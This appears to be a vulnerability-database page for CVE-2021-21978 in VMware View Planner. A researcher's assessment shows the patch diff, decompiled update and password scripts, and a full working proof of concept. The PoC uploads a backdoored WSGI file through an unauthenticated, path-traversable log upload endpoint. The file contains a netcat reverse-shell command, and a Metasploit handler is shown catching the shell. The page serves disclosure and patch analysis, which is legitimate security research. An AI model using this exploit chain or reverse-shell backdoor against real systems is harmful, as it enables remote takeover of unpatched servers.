logo
DATABASE RESOURCES PRICING ABOUT US

CVE-2021-21978

Description

VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability. Improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container. **Recent assessments:** **wvu-r7** at March 04, 2021 3:30am UTC reported: Quick patch diff below. Note the added auth and path traversal protection. --- log_upload_wsgi.unpatched.py 2021-03-03 20:18:16.000000000 -0600 +++ log_upload_wsgi.patched.py 2021-03-03 20:18:24.000000000 -0600 @@ -1,104 +1,129 @@ #! /usr/bin/env python3 import cgi import os,sys import logging import json +import configparser +import hashlib WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip" class LogFileJson: """ Defines format to upload log file in harness Arguments: itrLogPath : log path provided by harness to store log data logFileType : Type of log file defined in api.agentlogFileType workloadID [OPTIONAL] : workload id, if log file is workload specific """ def __init__(self, itrLogPath, logFileType, workloadID = None): self.itrLogPath = itrLogPath self.logFileType = logFileType self.workloadID = workloadID def to_json(self): return json.dumps(self.__dict__) @classmethod def from_json(cls, json_str): json_dict = json.loads(json_str) return cls(**json_dict) class agentlogFileType(): """ Defines various log file types to be uploaded by agent """ WORKLOAD_ZIP_LOG = "workloadLogsZipFile" try: # TO DO: Puth path in some config logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR) except: # In case write permission is not available in log folder. pass logger = logging.getLogger('log_upload_wsgi.py') def application(environ, start_response): logger.debug("application called") + # TO DO: Puth path in some config or read from config is already available + resultBasePath = "/etc/httpd/html/vpresults" + config_path = "/etc/httpd/conf/wsgi_config/wsgi.config" + # Reading configuration + try: + config = configparser.ConfigParser() + config.read(config_path) + secret_key = config["apache"]["key"].strip() + except Exception as e: + body = u"Exception {}".format(str(e)) + start_response( + '400 fail', + [ + ('Content-type', 'text/html; charset=utf8'), + ('Content-Length', str(len(body))), + ] + ) + return [body.encode('utf8')] + if environ['REQUEST_METHOD'] == 'POST': post = cgi.FieldStorage( fp=environ['wsgi.input'], environ=environ, keep_blank_values=True ) - # TO DO: Puth path in some config or read from config is already available - resultBasePath = "/etc/httpd/html/vpresults" try: filedata = post["logfile"] metaData = post["logMetaData"] - - if metaData.value: - logFileJson = LogFileJson.from_json(metaData.value) - - if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)): - os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath)) - - if filedata.file: - if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG): - filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID))) - else: - filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType) - with open(filePath, 'wb') as output_file: - while True: - data = filedata.file.read(1024) - # End of file - if not data: - break - output_file.write(data) - - body = u" File uploaded successfully." - start_response( - '200 OK', - [ - ('Content-type', 'text/html; charset=utf8'), - ('Content-Length', str(len(body))), - ] - ) - return [body.encode('utf8')] + password = post["password"] + if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key: + if metaData.value: + logFileJson = LogFileJson.from_json(metaData.value) + + dir_path = os.path.normpath(os.path.join(resultBasePath, logFileJson.itrLogPath)) + if not os.path.exists(dir_path) and dir_path.startswith(resultBasePath): + os.makedirs(dir_path) + + if filedata.file: + if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG): + filePath = os.path.join(dir_path, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID))) + else: + filePath = os.path.join(dir_path, logFileJson.logFileType) + + filePath = os.path.normpath(filePath) + if filePath.startswith(resultBasePath): + with open(filePath, 'wb') as output_file: + while True: + data = filedata.file.read(1024) + # End of file + if not data: + break + output_file.write(data) + + body = u" File uploaded successfully." + start_response( + '200 OK', + [ + ('Content-type', 'text/html; charset=utf8'), + ('Content-Length', str(len(body))), + ] + ) + return [body.encode('utf8')] except Exception as e: logger.error("Exception {}".format(str(e))) body = u"Exception {}".format(str(e)) else: logger.error("Invalid request") body = u"Invalid request" + body = u"Invalid request" start_response( '400 fail', [ ('Content-type', 'text/html; charset=utf8'), ('Content-Length', str(len(body))), ] ) return [body.encode('utf8')] I have reproduced RCE with a personal PoC. I’m not sure about the “secret key” they added, but I think it’s changed as part of the update. wvu@kharak:~/Downloads/vp_4.6_sp1/harness$ cat wsgi.config [apache] key = vmware-viewplanner-ca$hc0w wvu@kharak:~/Downloads/vp_4.6_sp1/harness$ We’ll see once I find time to test the patched version. I can confirm that RCE is within a Docker container. I haven’t looked for LPE yet. **ETA: Someone else [released their PoC](<https://twitter.com/osama_hroot/status/1367258907601698816>), so here is mine in full:** wvu@kharak:~/Downloads$ curl -kO https://192.168.123.183/wsgi_log_upload/log_upload_wsgi.py % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3596 100 3596 0 0 121k 0 --:--:-- --:--:-- --:--:-- 121k wvu@kharak:~/Downloads$ cp log_upload_wsgi.py log_upload_wsgi.py.bak wvu@kharak:~/Downloads$ vi log_upload_wsgi.py wvu@kharak:~/Downloads$ diff -u log_upload_wsgi.py.bak log_upload_wsgi.py --- log_upload_wsgi.py.bak 2021-03-04 17:41:15.000000000 -0600 +++ log_upload_wsgi.py 2021-03-04 17:41:35.000000000 -0600 @@ -90,6 +90,8 @@ except Exception as e: logger.error("Exception {}".format(str(e))) body = u"Exception {}".format(str(e)) + elif environ["REQUEST_METHOD"] == "HACK": + os.system("mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq") else: logger.error("Invalid request") body = u"Invalid request" wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F logfile=@log_upload_wsgi.py -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}' File uploaded successfully.wvu@kharak:~/Downloads$ curl -kX HACK https://192.168.123.183/logupload ^C wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F "logfile=@log_upload_wsgi.py.bak; filename=log_upload_wsgi.py" -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}' File uploaded successfully.wvu@kharak:~/Downloads$ msf6 exploit(multi/handler) > run [+] mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.183:57562) at 2021-03-04 17:41:59 -0600 id uid=25(apache) gid=25(apache) groups=25(apache), uname -a Linux 8cfebb27995a 4.9.137-1.ph2 #1-photon SMP Tue Nov 20 14:26:55 UTC 2018 x86_64 ETA: Here’s the decompiled update script: import sys, os, configparser, shutil, time cwd = os.path.dirname(os.path.realpath(__file__)) sys.path.append(cwd) import change_password print('Starting Update') wsgi_path_old = '/root/viewplanner/httpd/wsgi_log_upload/' wsgi_path_new = '/root/viewplanner/log_upload_app' wsgi_file = 'log_upload_wsgi.py' config_path = '/root/viewplanner/apache_config/wsgi_config' version_file = '/root/viewplanner/version.txt' httpd_conf_path = '/root/viewplanner/apache_config/httpd.conf' try: print('Updating config') if not os.path.exists(config_path): os.makedirs(config_path) os.system('cp ' + os.path.join(cwd, 'wsgi.config') + ' ' + config_path) except Exception as e: print('Updating config Failed!! {}'.format(e)) sys.exit(1) try: print('Updating wsgi') if not os.path.exists(wsgi_path_new): os.makedirs(wsgi_path_new) shutil.copy(os.path.join(cwd, wsgi_file), wsgi_path_new) httpd_conf = '' with open(httpd_conf_path, 'r') as (fp): httpd_conf = fp.read() os.system('chmod -R o+x ' + wsgi_path_new) httpd_conf = httpd_conf.replace('WSGIScriptAlias /logupload /etc/httpd/html/wsgi_log_upload/log_upload_wsgi.py', '<Directory /root/app>\n Require all granted\n</Directory>\nWSGIScriptAlias /logupload /root/app/log_upload_wsgi.py') with open(httpd_conf_path, 'w') as (fp): fp.write(httpd_conf) os.system('docker rm -f appacheServer') if os.path.exists(wsgi_path_old): shutil.rmtree(wsgi_path_old) os.system('docker run --restart on-failure --name appacheServer -p 80:80 -p 443:443 -v /root/viewplanner/apache_config:/etc/httpd/conf -v ' + wsgi_path_new + ':/root/app -v /root/viewplanner/httpd:/etc/httpd/html -d httpd_python_wsgi:1.0') time.sleep(10) os.system('docker exec -it appacheServer chmod a+x /root') os.system('docker restart appacheServer') os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/html') os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/conf/wsgi_config/wsgi.config') os.system('chmod -R o+x ' + config_path) os.system('chmod 644 ' + os.path.join(config_path, 'wsgi.config')) except Exception as e: print('Updating wsgi location failed!! {}'.format(e)) sys.exit(1) change_password.set_password() try: print('Updating version') current_version = '' with open(version_file, 'r') as (fp): current_version = fp.read() if '-sp1' not in current_version: current_version = current_version + '-sp1' with open(version_file, 'w') as (fp): fp.write(current_version) except Exception as e: print('Updating version failed!! {}'.format(e)) sys.exit(1) print('Update Completed') And the password script… import sys, hashlib, configparser, getpass, hashlib config_file = '/root/viewplanner/apache_config/wsgi_config/wsgi.config' try: config = configparser.ConfigParser() config.read(config_file) except Exception as e: body = 'Exception {}'.format(str(e)) sys.exit(1) def verify_current(): password = getpass.getpass(prompt='Enter current Password: ') if hashlib.sha256(password.encode('utf8')).hexdigest() != config['apache']['key']: return False else: return True def set_password(): password = getpass.getpass(prompt='Enter new Password: ') re_password = getpass.getpass(prompt='Re-enter new Password: ') if password != re_password: print('Password mismatch!!!') sys.exit(1) try: hashed_password = hashlib.sha256(password.encode('utf8')).hexdigest() except Exception as e: print('Password Update failed!!! {}'.format(e)) sys.exit(1) try: config['apache']['key'] = hashed_password with open(config_file, 'w') as (fp): config.write(fp) except Exception as e: config.add_section('apache') config.set('apache', 'key', hashed_password) with open(config_file, 'w') as (fp): config.write(fp) print('Password changed successfully') if __name__ == '__main__': if not verify_current(): print('Failed to verify password!!!') else: set_password() Still haven’t found time to test the patch, but it’s in **@gwillcox-r7**’s good hands now! Assessed Attacker Value: 3 Assessed Attacker Value: 3Assessed Attacker Value: 5


Related